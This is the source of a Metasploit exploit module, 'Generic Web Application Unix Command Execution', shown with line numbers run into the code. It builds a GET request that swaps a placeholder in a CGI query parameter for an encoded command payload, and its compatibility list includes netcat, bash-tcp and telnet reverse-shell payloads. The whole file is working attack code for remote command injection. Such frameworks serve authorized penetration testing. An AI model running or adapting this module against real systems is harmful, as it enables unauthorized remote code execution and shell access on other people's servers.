Path: blob/master/modules/exploits/unix/webapp/generic_exec.rb
21633 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::HttpClient1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Generic Web Application Unix Command Execution',16'Description' => %q{17This module can be used to exploit any generic command execution vulnerability18for CGI applications on Unix-like platforms. To use this module, specify the19CMDURI path, replacing the command itself with XXcmdXX. This module is currently20limited to forms vulnerable through GET requests with query parameters.21},22'Author' => [ 'hdm' ],23'License' => MSF_LICENSE,24'References' => [ ],25'Privileged' => false,26'Payload' => {27'DisableNops' => true,28'Space' => 1024,29'Compat' =>30{31'PayloadType' => 'cmd cmd_bash',32'RequiredCmd' => 'generic perl telnet netcat netcat-e bash-tcp',33}34},35'Platform' => 'unix',36'Arch' => ARCH_CMD,37'Targets' => [[ 'Automatic', {}]],38'DisclosureDate' => '1993-11-14', # CGI historical date :)39'DefaultTarget' => 0,40'Notes' => {41'Reliability' => UNKNOWN_RELIABILITY,42'Stability' => UNKNOWN_STABILITY,43'SideEffects' => UNKNOWN_SIDE_EFFECTS44}45)46)4748register_options(49[50OptString.new('CMDURI', [true, "The full URI path with the XXcmdXX parameter", "/cgi-bin/generic?cmd=XXcmdXX"]),51]52)53end5455def exploit56uri = datastore['CMDURI'].to_s57uri, query = uri.split('?', 2)5859if query60query = query.split('&').map { |var|61k, v = var.split('=', 2)62Rex::Text.uri_encode(k) + "=" + Rex::Text.uri_encode(v.gsub("XXcmdXX", payload.encoded))63}.join('&')64uri = uri + '?' + query65end6667print_status("Sending HTTP request for #{uri}")68res = send_request_cgi({69'global' => true,70'uri' => uri71}, 30)7273if res74print_status("The server responded with HTTP CODE #{res.code}")75else76print_status("The server did not respond to our request")77end7879handler80end81end828384